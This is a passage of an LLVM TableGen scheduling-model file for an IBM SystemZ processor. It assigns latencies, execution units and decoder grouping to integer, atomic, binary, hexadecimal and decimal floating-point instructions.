def : InstRW<[WLat1, FXU, NormalGr], (instregex "XIHF(64)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "XILF(64)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "XR(K)?$")>;
def : InstRW<[WLat5LSU, LSU2, FXU, GroupAlone], (instregex "XC$")>;
//===----------------------------------------------------------------------===//
// Multiplication
//===----------------------------------------------------------------------===//
def : InstRW<[WLat6LSU, RegReadAdv, FXU, LSU, NormalGr],
(instregex "MS(GF|Y)?$")>;
def : InstRW<[WLat6, FXU, NormalGr], (instregex "MS(R|FI)$")>;
def : InstRW<[WLat8LSU, RegReadAdv, FXU, LSU, NormalGr], (instregex "MSG$")>;
def : InstRW<[WLat8, FXU, NormalGr], (instregex "MSGR$")>;
def : InstRW<[WLat6, FXU, NormalGr], (instregex "MSGF(I|R)$")>;
def : InstRW<[WLat11LSU, RegReadAdv, FXU2, LSU, GroupAlone],
(instregex "MLG$")>;
def : InstRW<[WLat9, FXU2, GroupAlone], (instregex "MLGR$")>;
def : InstRW<[WLat5, FXU, NormalGr], (instregex "MGHI$")>;
def : InstRW<[WLat5, FXU, NormalGr], (instregex "MHI$")>;
def : InstRW<[WLat5LSU, RegReadAdv, FXU, LSU, NormalGr], (instregex "MH(Y)?$")>;
def : InstRW<[WLat7, FXU2, GroupAlone], (instregex "M(L)?R$")>;
def : InstRW<[WLat7LSU, RegReadAdv, FXU2, LSU, GroupAlone],
(instregex "M(FY|L)?$")>;
//===----------------------------------------------------------------------===//
// Division and remainder
//===----------------------------------------------------------------------===//
def : InstRW<[WLat30, FPU4, FXU5, GroupAlone3], (instregex "DR$")>;
def : InstRW<[WLat30, RegReadAdv, FPU4, LSU, FXU4, GroupAlone3],
(instregex "D$")>;
def : InstRW<[WLat30, FPU4, FXU4, GroupAlone3], (instregex "DSG(F)?R$")>;
def : InstRW<[WLat30, RegReadAdv, FPU4, LSU, FXU3, GroupAlone3],
(instregex "DSG(F)?$")>;
def : InstRW<[WLat30, FPU4, FXU5, GroupAlone3], (instregex "DL(G)?R$")>;
def : InstRW<[WLat30, RegReadAdv, FPU4, LSU, FXU4, GroupAlone3],
(instregex "DL(G)?$")>;
//===----------------------------------------------------------------------===//
// Shifts
//===----------------------------------------------------------------------===//
def : InstRW<[WLat1, FXU, NormalGr], (instregex "SLL(G|K)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "SRL(G|K)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "SRA(G|K)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "SLA(G|K)?$")>;
def : InstRW<[WLat5LSU, WLat5LSU, FXU4, LSU, GroupAlone2],
(instregex "S(L|R)D(A|L)$")>;
// Rotate
def : InstRW<[WLat2LSU, FXU, LSU, NormalGr], (instregex "RLL(G)?$")>;
// Rotate and insert
def : InstRW<[WLat1, FXU, NormalGr], (instregex "RISBG(N|32)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "RISBH(G|H|L)$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "RISBL(G|H|L)$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "RISBMux$")>;
// Rotate and Select
def : InstRW<[WLat3, WLat3, FXU2, GroupAlone], (instregex "R(N|O|X)SBG$")>;
//===----------------------------------------------------------------------===//
// Comparison
//===----------------------------------------------------------------------===//
def : InstRW<[WLat1LSU, RegReadAdv, FXU, LSU, NormalGr], (instregex "C(G|Y|Mux|RL)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "C(F|H)I(Mux)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "CG(F|H)I$")>;
def : InstRW<[WLat1LSU, FXU, LSU, NormalGr], (instregex "CG(HSI|RL)$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "C(G)?R$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "CIH$")>;
def : InstRW<[WLat1LSU, RegReadAdv, FXU, LSU, NormalGr], (instregex "CHF$")>;
def : InstRW<[WLat1LSU, FXU, LSU, NormalGr], (instregex "CHSI$")>;
def : InstRW<[WLat1LSU, RegReadAdv, FXU, LSU, NormalGr],
(instregex "CL(Y|Mux)?$")>;
def : InstRW<[WLat1LSU, FXU, LSU, NormalGr], (instregex "CLFHSI$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "CLFI(Mux)?$")>;
def : InstRW<[WLat1LSU, RegReadAdv, FXU, LSU, NormalGr], (instregex "CLG$")>;
def : InstRW<[WLat1LSU, FXU, LSU, NormalGr], (instregex "CLG(HRL|HSI)$")>;
def : InstRW<[WLat1LSU, RegReadAdv, FXU, LSU, NormalGr], (instregex "CLGF$")>;
def : InstRW<[WLat1LSU, FXU, LSU, NormalGr], (instregex "CLGFRL$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "CLGF(I|R)$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "CLGR$")>;
def : InstRW<[WLat1LSU, FXU, LSU, NormalGr], (instregex "CLGRL$")>;
def : InstRW<[WLat1LSU, RegReadAdv, FXU, LSU, NormalGr], (instregex "CLHF$")>;
def : InstRW<[WLat1LSU, FXU, LSU, NormalGr], (instregex "CLH(RL|HSI)$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "CLIH$")>;
def : InstRW<[WLat1LSU, FXU, LSU, NormalGr], (instregex "CLI(Y)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "CLR$")>;
def : InstRW<[WLat1LSU, FXU, LSU, NormalGr], (instregex "CLRL$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "C(L)?HHR$")>;
def : InstRW<[WLat2, FXU, NormalGr], (instregex "C(L)?HLR$")>;
// Compare halfword
def : InstRW<[WLat2LSU, RegReadAdv, FXU, LSU, NormalGr], (instregex "CH(Y)?$")>;
def : InstRW<[WLat2LSU, FXU, LSU, NormalGr], (instregex "CHRL$")>;
def : InstRW<[WLat2LSU, RegReadAdv, FXU, LSU, NormalGr], (instregex "CGH$")>;
def : InstRW<[WLat2LSU, FXU, LSU, NormalGr], (instregex "CGHRL$")>;
def : InstRW<[WLat2LSU, FXU2, LSU, GroupAlone], (instregex "CHHSI$")>;
// Compare with sign extension (32 -> 64)
def : InstRW<[WLat2LSU, RegReadAdv, FXU, LSU, NormalGr], (instregex "CGF$")>;
def : InstRW<[WLat2LSU, FXU, LSU, NormalGr], (instregex "CGFRL$")>;
def : InstRW<[WLat2, FXU, NormalGr], (instregex "CGFR$")>;
// Compare logical character
def : InstRW<[WLat9, FXU, LSU2, GroupAlone], (instregex "CLC$")>;
def : InstRW<[WLat30, WLat30, WLat30, MCD], (instregex "CLCL(E|U)?$")>;
def : InstRW<[WLat30, WLat30, WLat30, MCD], (instregex "CLST$")>;
// Test under mask
def : InstRW<[WLat1LSU, FXU, LSU, NormalGr], (instregex "TM(Y)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "TM(H|L)Mux$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "TMHH(64)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "TMHL(64)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "TMLH(64)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "TMLL(64)?$")>;
// Compare logical characters under mask
def : InstRW<[WLat2LSU, RegReadAdv, FXU, LSU, NormalGr],
(instregex "CLM(H|Y)?$")>;
//===----------------------------------------------------------------------===//
// Prefetch and execution hint
//===----------------------------------------------------------------------===//
def : InstRW<[WLat1, LSU, NormalGr], (instregex "PFD(RL)?$")>;
def : InstRW<[WLat1, LSU, NormalGr], (instregex "BP(R)?P$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "NIAI$")>;
//===----------------------------------------------------------------------===//
// Atomic operations
//===----------------------------------------------------------------------===//
def : InstRW<[WLat1, LSU, EndGroup], (instregex "Serialize$")>;
def : InstRW<[WLat1LSU, WLat1LSU, FXU, LSU, NormalGr], (instregex "LAA(G)?$")>;
def : InstRW<[WLat1LSU, WLat1LSU, FXU, LSU, NormalGr], (instregex "LAAL(G)?$")>;
def : InstRW<[WLat1LSU, WLat1LSU, FXU, LSU, NormalGr], (instregex "LAN(G)?$")>;
def : InstRW<[WLat1LSU, WLat1LSU, FXU, LSU, NormalGr], (instregex "LAO(G)?$")>;
def : InstRW<[WLat1LSU, WLat1LSU, FXU, LSU, NormalGr], (instregex "LAX(G)?$")>;
// Test and set
def : InstRW<[WLat1LSU, FXU, LSU, EndGroup], (instregex "TS$")>;
// Compare and swap
def : InstRW<[WLat2LSU, WLat2LSU, FXU2, LSU, GroupAlone],
(instregex "CS(G|Y)?$")>;
// Compare double and swap
def : InstRW<[WLat5LSU, WLat5LSU, FXU5, LSU, GroupAlone2],
(instregex "CDS(Y)?$")>;
def : InstRW<[WLat12, WLat12, FXU6, LSU2, GroupAlone],
(instregex "CDSG$")>;
// Compare and swap and store
def : InstRW<[WLat30, MCD], (instregex "CSST$")>;
// Perform locked operation
def : InstRW<[WLat30, MCD], (instregex "PLO$")>;
// Load/store pair from/to quadword
def : InstRW<[WLat4LSU, LSU2, GroupAlone], (instregex "LPQ$")>;
def : InstRW<[WLat1, FXU2, LSU2, GroupAlone], (instregex "STPQ$")>;
// Load pair disjoint
def : InstRW<[WLat2LSU, WLat2LSU, LSU2, GroupAlone], (instregex "LPD(G)?$")>;
//===----------------------------------------------------------------------===//
// Translate and convert
//===----------------------------------------------------------------------===//
def : InstRW<[WLat1, LSU, GroupAlone], (instregex "TR$")>;
def : InstRW<[WLat30, WLat30, WLat30, FXU3, LSU2, GroupAlone2],
(instregex "TRT$")>;
def : InstRW<[WLat30, WLat30, WLat30, MCD], (instregex "TRTR$")>;
def : InstRW<[WLat30, WLat30, MCD], (instregex "TRE$")>;
def : InstRW<[WLat30, WLat30, WLat30, MCD], (instregex "TRT(R)?E(Opt)?$")>;
def : InstRW<[WLat30, WLat30, WLat30, MCD], (instregex "TR(T|O)(T|O)(Opt)?$")>;
def : InstRW<[WLat30, WLat30, WLat30, MCD],
(instregex "CU(12|14|21|24|41|42)(Opt)?$")>;
def : InstRW<[WLat30, WLat30, WLat30, MCD], (instregex "(CUUTF|CUTFU)(Opt)?$")>;
//===----------------------------------------------------------------------===//
// Message-security assist
//===----------------------------------------------------------------------===//
def : InstRW<[WLat30, WLat30, WLat30, WLat30, MCD],
(instregex "KM(C|F|O|CTR)?$")>;
def : InstRW<[WLat30, WLat30, WLat30, MCD], (instregex "(KIMD|KLMD|KMAC|PCC)$")>;
//===----------------------------------------------------------------------===//
// Decimal arithmetic
//===----------------------------------------------------------------------===//
def : InstRW<[WLat30, RegReadAdv, FXU, DFU2, LSU2, GroupAlone2],
(instregex "CVBG$")>;
def : InstRW<[WLat20, RegReadAdv, FXU, DFU, LSU, GroupAlone],
(instregex "CVB(Y)?$")>;
def : InstRW<[WLat1, FXU3, DFU4, LSU, GroupAlone3], (instregex "CVDG$")>;
def : InstRW<[WLat1, FXU2, DFU, LSU, GroupAlone], (instregex "CVD(Y)?$")>;
def : InstRW<[WLat1, LSU5, GroupAlone], (instregex "MV(N|O|Z)$")>;
def : InstRW<[WLat1, LSU5, GroupAlone], (instregex "(PACK|PKA|PKU)$")>;
def : InstRW<[WLat10, LSU5, GroupAlone], (instregex "UNPK(A|U)$")>;
def : InstRW<[WLat1, FXU, LSU2, GroupAlone], (instregex "UNPK$")>;
def : InstRW<[WLat11LSU, FXU, DFU4, LSU2, GroupAlone],
(instregex "(A|S|ZA)P$")>;
def : InstRW<[WLat1, FXU, DFU4, LSU2, GroupAlone], (instregex "(M|D)P$")>;
def : InstRW<[WLat15, FXU2, DFU4, LSU3, GroupAlone], (instregex "SRP$")>;
def : InstRW<[WLat11, DFU4, LSU2, GroupAlone], (instregex "CP$")>;
def : InstRW<[WLat5LSU, DFU2, LSU2, GroupAlone], (instregex "TP$")>;
def : InstRW<[WLat30, MCD], (instregex "ED(MK)?$")>;
//===----------------------------------------------------------------------===//
// Access registers
//===----------------------------------------------------------------------===//
// Extract/set/copy access register
def : InstRW<[WLat3, LSU, NormalGr], (instregex "(EAR|SAR|CPYA)$")>;
// Load address extended
def : InstRW<[WLat5, LSU, FXU, GroupAlone], (instregex "LAE(Y)?$")>;
// Load/store access multiple (not modeled precisely)
def : InstRW<[WLat10, WLat10, LSU5, GroupAlone], (instregex "LAM(Y)?$")>;
def : InstRW<[WLat1, FXU5, LSU5, GroupAlone], (instregex "STAM(Y)?$")>;
//===----------------------------------------------------------------------===//
// Program mask and addressing mode
//===----------------------------------------------------------------------===//
// Insert Program Mask
def : InstRW<[WLat3, FXU, EndGroup], (instregex "IPM$")>;
// Set Program Mask
def : InstRW<[WLat3, LSU, EndGroup], (instregex "SPM$")>;
// Branch and link
def : InstRW<[WLat1, FXU2, LSU, GroupAlone], (instregex "BAL(R)?$")>;
// Test addressing mode
def : InstRW<[WLat1, FXU, NormalGr], (instregex "TAM$")>;
// Set addressing mode
def : InstRW<[WLat1, LSU, EndGroup], (instregex "SAM(24|31|64)$")>;
// Branch (and save) and set mode.
def : InstRW<[WLat1, FXU, LSU, GroupAlone], (instregex "BSM$")>;
def : InstRW<[WLat1, FXU2, LSU, GroupAlone], (instregex "BASSM$")>;
//===----------------------------------------------------------------------===//
// Transactional execution
//===----------------------------------------------------------------------===//
// Transaction begin
def : InstRW<[WLat9, LSU2, FXU5, GroupAlone], (instregex "TBEGIN(C)?$")>;
// Transaction end
def : InstRW<[WLat4, LSU, GroupAlone], (instregex "TEND$")>;
// Transaction abort
def : InstRW<[WLat30, MCD], (instregex "TABORT$")>;
// Extract Transaction Nesting Depth
def : InstRW<[WLat30, MCD], (instregex "ETND$")>;
// Nontransactional store
def : InstRW<[WLat1, FXU, LSU, NormalGr], (instregex "NTSTG$")>;
//===----------------------------------------------------------------------===//
// Processor assist
//===----------------------------------------------------------------------===//
def : InstRW<[WLat30, MCD], (instregex "PPA$")>;
//===----------------------------------------------------------------------===//
// Miscellaneous Instructions.
//===----------------------------------------------------------------------===//
// Find leftmost one
def : InstRW<[WLat7, WLat7, FXU2, GroupAlone], (instregex "FLOGR$")>;
// Population count
def : InstRW<[WLat3, WLat3, FXU, NormalGr], (instregex "POPCNT$")>;
// String instructions
def : InstRW<[WLat30, WLat30, WLat30, MCD], (instregex "SRST(U)?$")>;
def : InstRW<[WLat30, WLat30, WLat30, MCD], (instregex "CUSE$")>;
// Various complex instructions
def : InstRW<[WLat30, WLat30, WLat30, WLat30, MCD], (instregex "CFC$")>;
def : InstRW<[WLat30, WLat30, WLat30, WLat30, WLat30, WLat30, MCD],
(instregex "UPT$")>;
def : InstRW<[WLat30, WLat30, WLat30, MCD], (instregex "CKSM$")>;
def : InstRW<[WLat30, WLat30, WLat30, WLat30, MCD], (instregex "CMPSC$")>;
// Execute
def : InstRW<[LSU, GroupAlone], (instregex "EX(RL)?$")>;
//===----------------------------------------------------------------------===//
// .insn directive instructions
//===----------------------------------------------------------------------===//
// An "empty" sched-class will be assigned instead of the "invalid sched-class".
// getNumDecoderSlots() will then return 1 instead of 0.
def : InstRW<[], (instregex "Insn.*")>;
// ----------------------------- Floating point ----------------------------- //
//===----------------------------------------------------------------------===//
// FP: Move instructions
//===----------------------------------------------------------------------===//
// Load zero
def : InstRW<[WLat1, FXU, NormalGr], (instregex "LZ(DR|ER)$")>;
def : InstRW<[WLat2, FXU2, GroupAlone], (instregex "LZXR$")>;
// Load
def : InstRW<[WLat1, FXU, NormalGr], (instregex "LER$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "LD(R|R32|GR)$")>;
def : InstRW<[WLat3, FXU, NormalGr], (instregex "LGDR$")>;
def : InstRW<[WLat2, FXU2, GroupAlone], (instregex "LXR$")>;
// Load and Test
def : InstRW<[WLat9, WLat9, FPU, NormalGr], (instregex "LT(E|D)BR$")>;
def : InstRW<[WLat9, FPU, NormalGr], (instregex "LT(E|D)BRCompare$")>;
def : InstRW<[WLat10, WLat10, FPU4, GroupAlone], (instregex "LTXBR(Compare)?$")>;
// Copy sign
def : InstRW<[WLat5, FXU2, GroupAlone], (instregex "CPSDR(d|s)(d|s)$")>;
//===----------------------------------------------------------------------===//
// FP: Load instructions
//===----------------------------------------------------------------------===//
def : InstRW<[LSULatency, LSU, NormalGr], (instregex "L(E|D)(Y|E32)?$")>;
def : InstRW<[LSULatency, LSU, NormalGr], (instregex "LX$")>;
//===----------------------------------------------------------------------===//
// FP: Store instructions
//===----------------------------------------------------------------------===//
def : InstRW<[WLat1, FXU, LSU, NormalGr], (instregex "ST(E|D)(Y)?$")>;
def : InstRW<[WLat1, FXU, LSU, NormalGr], (instregex "STX$")>;
//===----------------------------------------------------------------------===//
// FP: Conversion instructions
//===----------------------------------------------------------------------===//
// Load rounded
def : InstRW<[WLat7, FPU, NormalGr], (instregex "LEDBR(A)?$")>;
def : InstRW<[WLat9, FPU2, NormalGr], (instregex "L(E|D)XBR(A)?$")>;
// Load lengthened
def : InstRW<[WLat7LSU, FPU, LSU, NormalGr], (instregex "LDEB$")>;
def : InstRW<[WLat7, FPU, NormalGr], (instregex "LDEBR$")>;
def : InstRW<[WLat11LSU, FPU4, LSU, GroupAlone], (instregex "LX(E|D)B$")>;
def : InstRW<[WLat10, FPU4, GroupAlone], (instregex "LX(E|D)BR$")>;
// Convert from fixed / logical
def : InstRW<[WLat8, FXU, FPU, GroupAlone], (instregex "C(E|D)(F|G)BR(A)?$")>;
def : InstRW<[WLat11, FXU, FPU4, GroupAlone2], (instregex "CX(F|G)BR(A?)$")>;
def : InstRW<[WLat8, FXU, FPU, GroupAlone], (instregex "CEL(F|G)BR$")>;
def : InstRW<[WLat8, FXU, FPU, GroupAlone], (instregex "CDL(F|G)BR$")>;
def : InstRW<[WLat11, FXU, FPU4, GroupAlone2], (instregex "CXL(F|G)BR$")>;
// Convert to fixed / logical
def : InstRW<[WLat12, WLat12, FXU, FPU, GroupAlone],
(instregex "C(F|G)(E|D)BR(A?)$")>;
def : InstRW<[WLat12, WLat12, FXU, FPU2, GroupAlone],
(instregex "C(F|G)XBR(A?)$")>;
def : InstRW<[WLat12, WLat12, FXU, FPU, GroupAlone],
(instregex "CL(F|G)(E|D)BR$")>;
def : InstRW<[WLat12, WLat12, FXU, FPU2, GroupAlone], (instregex "CL(F|G)XBR$")>;
//===----------------------------------------------------------------------===//
// FP: Unary arithmetic
//===----------------------------------------------------------------------===//
// Load Complement / Negative / Positive
def : InstRW<[WLat7, WLat7, FPU, NormalGr], (instregex "L(C|N|P)(E|D)BR$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "L(C|N|P)DFR(_32)?$")>;
def : InstRW<[WLat10, WLat10, FPU4, GroupAlone], (instregex "L(C|N|P)XBR$")>;
// Square root
def : InstRW<[WLat30, FPU, LSU, NormalGr], (instregex "SQ(E|D)B$")>;
def : InstRW<[WLat30, FPU, NormalGr], (instregex "SQ(E|D)BR$")>;
def : InstRW<[WLat30, FPU4, GroupAlone], (instregex "SQXBR$")>;
// Load FP integer
def : InstRW<[WLat7, FPU, NormalGr], (instregex "FI(E|D)BR(A)?$")>;
def : InstRW<[WLat15, FPU4, GroupAlone], (instregex "FIXBR(A)?$")>;
//===----------------------------------------------------------------------===//
// FP: Binary arithmetic
//===----------------------------------------------------------------------===//
// Addition
def : InstRW<[WLat7LSU, WLat7LSU, RegReadAdv, FPU, LSU, NormalGr],
(instregex "A(E|D)B$")>;
def : InstRW<[WLat7, WLat7, FPU, NormalGr], (instregex "A(E|D)BR$")>;
def : InstRW<[WLat20, WLat20, FPU4, GroupAlone], (instregex "AXBR$")>;
// Subtraction
def : InstRW<[WLat7LSU, WLat7LSU, RegReadAdv, FPU, LSU, NormalGr],
(instregex "S(E|D)B$")>;
def : InstRW<[WLat7, WLat7, FPU, NormalGr], (instregex "S(E|D)BR$")>;
def : InstRW<[WLat20, WLat20, FPU4, GroupAlone], (instregex "SXBR$")>;
// Multiply
def : InstRW<[WLat7LSU, RegReadAdv, FPU, LSU, NormalGr],
(instregex "M(D|DE|EE)B$")>;
def : InstRW<[WLat7, FPU, NormalGr], (instregex "M(D|DE|EE)BR$")>;
def : InstRW<[WLat11LSU, RegReadAdv, FPU4, LSU, GroupAlone],
(instregex "MXDB$")>;
def : InstRW<[WLat10, FPU4, GroupAlone], (instregex "MXDBR$")>;
def : InstRW<[WLat30, FPU4, GroupAlone], (instregex "MXBR$")>;
// Multiply and add / subtract
def : InstRW<[WLat7LSU, RegReadAdv, RegReadAdv, FPU2, LSU, GroupAlone],
(instregex "M(A|S)EB$")>;
def : InstRW<[WLat7, FPU, GroupAlone], (instregex "M(A|S)EBR$")>;
def : InstRW<[WLat7LSU, RegReadAdv, RegReadAdv, FPU2, LSU, GroupAlone],
(instregex "M(A|S)DB$")>;
def : InstRW<[WLat7, FPU, GroupAlone], (instregex "M(A|S)DBR$")>;
// Division
def : InstRW<[WLat30, RegReadAdv, FPU, LSU, NormalGr], (instregex "D(E|D)B$")>;
def : InstRW<[WLat30, FPU, NormalGr], (instregex "D(E|D)BR$")>;
def : InstRW<[WLat30, FPU4, GroupAlone], (instregex "DXBR$")>;
// Divide to integer
def : InstRW<[WLat30, WLat30, WLat30, MCD], (instregex "DI(E|D)BR$")>;
//===----------------------------------------------------------------------===//
// FP: Comparisons
//===----------------------------------------------------------------------===//
// Compare
def : InstRW<[WLat11LSU, RegReadAdv, FPU, LSU, NormalGr],
(instregex "(K|C)(E|D)B$")>;
def : InstRW<[WLat9, FPU, NormalGr], (instregex "(K|C)(E|D)BR$")>;
def : InstRW<[WLat30, FPU2, NormalGr], (instregex "(K|C)XBR$")>;
// Test Data Class
def : InstRW<[WLat15, FPU, LSU, NormalGr], (instregex "TC(E|D)B$")>;
def : InstRW<[WLat15, FPU4, LSU, GroupAlone], (instregex "TCXB$")>;
//===----------------------------------------------------------------------===//
// FP: Floating-point control register instructions
//===----------------------------------------------------------------------===//
def : InstRW<[WLat4, FXU, LSU, GroupAlone], (instregex "EFPC$")>;
def : InstRW<[WLat1, FXU, LSU, GroupAlone], (instregex "STFPC$")>;
def : InstRW<[WLat1, LSU, GroupAlone], (instregex "SFPC$")>;
def : InstRW<[WLat1, LSU2, GroupAlone], (instregex "LFPC$")>;
def : InstRW<[WLat30, MCD], (instregex "SFASR$")>;
def : InstRW<[WLat30, MCD], (instregex "LFAS$")>;
def : InstRW<[WLat2, FXU, GroupAlone], (instregex "SRNM(B|T)?$")>;
// --------------------- Hexadecimal floating point ------------------------- //
//===----------------------------------------------------------------------===//
// HFP: Move instructions
//===----------------------------------------------------------------------===//
// Load and Test
def : InstRW<[WLat9, WLat9, FPU, NormalGr], (instregex "LT(E|D)R$")>;
def : InstRW<[WLat9, WLat9, FPU4, GroupAlone], (instregex "LTXR$")>;
//===----------------------------------------------------------------------===//
// HFP: Conversion instructions
//===----------------------------------------------------------------------===//
// Load rounded
def : InstRW<[WLat7, FPU, NormalGr], (instregex "(LEDR|LRER)$")>;
def : InstRW<[WLat7, FPU, NormalGr], (instregex "LEXR$")>;
def : InstRW<[WLat9, FPU, NormalGr], (instregex "(LDXR|LRDR)$")>;
// Load lengthened
def : InstRW<[LSULatency, LSU, NormalGr], (instregex "LDE$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "LDER$")>;
def : InstRW<[WLat11LSU, FPU4, LSU, GroupAlone], (instregex "LX(E|D)$")>;
def : InstRW<[WLat9, FPU4, GroupAlone], (instregex "LX(E|D)R$")>;
// Convert from fixed
def : InstRW<[WLat8, FXU, FPU, GroupAlone], (instregex "C(E|D)(F|G)R$")>;
def : InstRW<[WLat10, FXU, FPU4, GroupAlone2], (instregex "CX(F|G)R$")>;
// Convert to fixed
def : InstRW<[WLat12, WLat12, FXU, FPU, GroupAlone],
(instregex "C(F|G)(E|D)R$")>;
def : InstRW<[WLat30, WLat30, FXU, FPU2, GroupAlone], (instregex "C(F|G)XR$")>;
// Convert BFP to HFP / HFP to BFP.
def : InstRW<[WLat7, WLat7, FPU, NormalGr], (instregex "THD(E)?R$")>;
def : InstRW<[WLat7, WLat7, FPU, NormalGr], (instregex "TB(E)?DR$")>;
//===----------------------------------------------------------------------===//
// HFP: Unary arithmetic
//===----------------------------------------------------------------------===//
// Load Complement / Negative / Positive
def : InstRW<[WLat7, WLat7, FPU, NormalGr], (instregex "L(C|N|P)(E|D)R$")>;
def : InstRW<[WLat9, WLat9, FPU4, GroupAlone], (instregex "L(C|N|P)XR$")>;
// Halve
def : InstRW<[WLat7, FPU, NormalGr], (instregex "H(E|D)R$")>;
// Square root
def : InstRW<[WLat30, FPU, LSU, NormalGr], (instregex "SQ(E|D)$")>;
def : InstRW<[WLat30, FPU, NormalGr], (instregex "SQ(E|D)R$")>;
def : InstRW<[WLat30, FPU4, GroupAlone], (instregex "SQXR$")>;
// Load FP integer
def : InstRW<[WLat7, FPU, NormalGr], (instregex "FI(E|D)R$")>;
def : InstRW<[WLat15, FPU4, GroupAlone], (instregex "FIXR$")>;
//===----------------------------------------------------------------------===//
// HFP: Binary arithmetic
//===----------------------------------------------------------------------===//
// Addition
def : InstRW<[WLat7LSU, WLat7LSU, RegReadAdv, FPU, LSU, NormalGr],
(instregex "A(E|D|U|W)$")>;
def : InstRW<[WLat7, WLat7, FPU, NormalGr], (instregex "A(E|D|U|W)R$")>;
def : InstRW<[WLat15, WLat15, FPU4, GroupAlone], (instregex "AXR$")>;
// Subtraction
def : InstRW<[WLat7LSU, WLat7LSU, RegReadAdv, FPU, LSU, NormalGr],
(instregex "S(E|D|U|W)$")>;
def : InstRW<[WLat7, WLat7, FPU, NormalGr], (instregex "S(E|D|U|W)R$")>;
def : InstRW<[WLat15, WLat15, FPU4, GroupAlone], (instregex "SXR$")>;
// Multiply
def : InstRW<[WLat7LSU, RegReadAdv, FPU, LSU, NormalGr], (instregex "M(D|EE)$")>;
def : InstRW<[WLat8LSU, RegReadAdv, FPU, LSU, NormalGr], (instregex "M(DE|E)$")>;
def : InstRW<[WLat7, FPU, NormalGr], (instregex "M(D|EE)R$")>;
def : InstRW<[WLat8, FPU, NormalGr], (instregex "M(DE|E)R$")>;
def : InstRW<[WLat11LSU, RegReadAdv, FPU4, LSU, GroupAlone], (instregex "MXD$")>;
def : InstRW<[WLat10, FPU4, GroupAlone], (instregex "MXDR$")>;
def : InstRW<[WLat30, FPU4, GroupAlone], (instregex "MXR$")>;
def : InstRW<[WLat11LSU, RegReadAdv, FPU4, LSU, GroupAlone], (instregex "MY$")>;
def : InstRW<[WLat7LSU, RegReadAdv, FPU2, LSU, GroupAlone],
(instregex "MY(H|L)$")>;
def : InstRW<[WLat10, FPU4, GroupAlone], (instregex "MYR$")>;
def : InstRW<[WLat7, FPU, GroupAlone], (instregex "MY(H|L)R$")>;
// Multiply and add / subtract
def : InstRW<[WLat7LSU, RegReadAdv, RegReadAdv, FPU2, LSU, GroupAlone],
(instregex "M(A|S)(E|D)$")>;
def : InstRW<[WLat7, FPU, GroupAlone], (instregex "M(A|S)(E|D)R$")>;
def : InstRW<[WLat11LSU, RegReadAdv, RegReadAdv, FPU4, LSU, GroupAlone],
(instregex "MAY$")>;
def : InstRW<[WLat7LSU, RegReadAdv, RegReadAdv, FPU2, LSU, GroupAlone],
(instregex "MAY(H|L)$")>;
def : InstRW<[WLat10, FPU4, GroupAlone], (instregex "MAYR$")>;
def : InstRW<[WLat7, FPU, GroupAlone], (instregex "MAY(H|L)R$")>;
// Division
def : InstRW<[WLat30, RegReadAdv, FPU, LSU, NormalGr], (instregex "D(E|D)$")>;
def : InstRW<[WLat30, FPU, NormalGr], (instregex "D(E|D)R$")>;
def : InstRW<[WLat30, FPU4, GroupAlone], (instregex "DXR$")>;
//===----------------------------------------------------------------------===//
// HFP: Comparisons
//===----------------------------------------------------------------------===//
// Compare
def : InstRW<[WLat11LSU, RegReadAdv, FPU, LSU, NormalGr], (instregex "C(E|D)$")>;
def : InstRW<[WLat9, FPU, NormalGr], (instregex "C(E|D)R$")>;
def : InstRW<[WLat15, FPU2, NormalGr], (instregex "CXR$")>;
// ------------------------ Decimal floating point -------------------------- //
//===----------------------------------------------------------------------===//
// DFP: Move instructions
//===----------------------------------------------------------------------===//
// Load and Test
def : InstRW<[WLat4, WLat4, DFU, NormalGr], (instregex "LTDTR$")>;
def : InstRW<[WLat6, WLat6, DFU4, GroupAlone], (instregex "LTXTR$")>;
//===----------------------------------------------------------------------===//
// DFP: Conversion instructions
//===----------------------------------------------------------------------===//
// Load rounded
def : InstRW<[WLat30, DFU, NormalGr], (instregex "LEDTR$")>;
def : InstRW<[WLat30, DFU2, NormalGr], (instregex "LDXTR$")>;
// Load lengthened
def : InstRW<[WLat7, DFU, NormalGr], (instregex "LDETR$")>;
def : InstRW<[WLat6, DFU4, GroupAlone], (instregex "LXDTR$")>;
// Convert from fixed / logical
def : InstRW<[WLat9, FXU, DFU, GroupAlone], (instregex "CDFTR$")>;
def : InstRW<[WLat30, FXU, DFU, GroupAlone], (instregex "CDGTR(A)?$")>;
def : InstRW<[WLat5, FXU, DFU4, GroupAlone2], (instregex "CXFTR(A)?$")>;
def : InstRW<[WLat30, FXU, DFU4, GroupAlone2], (instregex "CXGTR(A)?$")>;
def : InstRW<[WLat9, FXU, DFU, GroupAlone], (instregex "CDL(F|G)TR$")>;
def : InstRW<[WLat9, FXU, DFU4, GroupAlone2], (instregex "CXLFTR$")>;
def : InstRW<[WLat5, FXU, DFU4, GroupAlone2], (instregex "CXLGTR$")>;
// Convert to fixed / logical
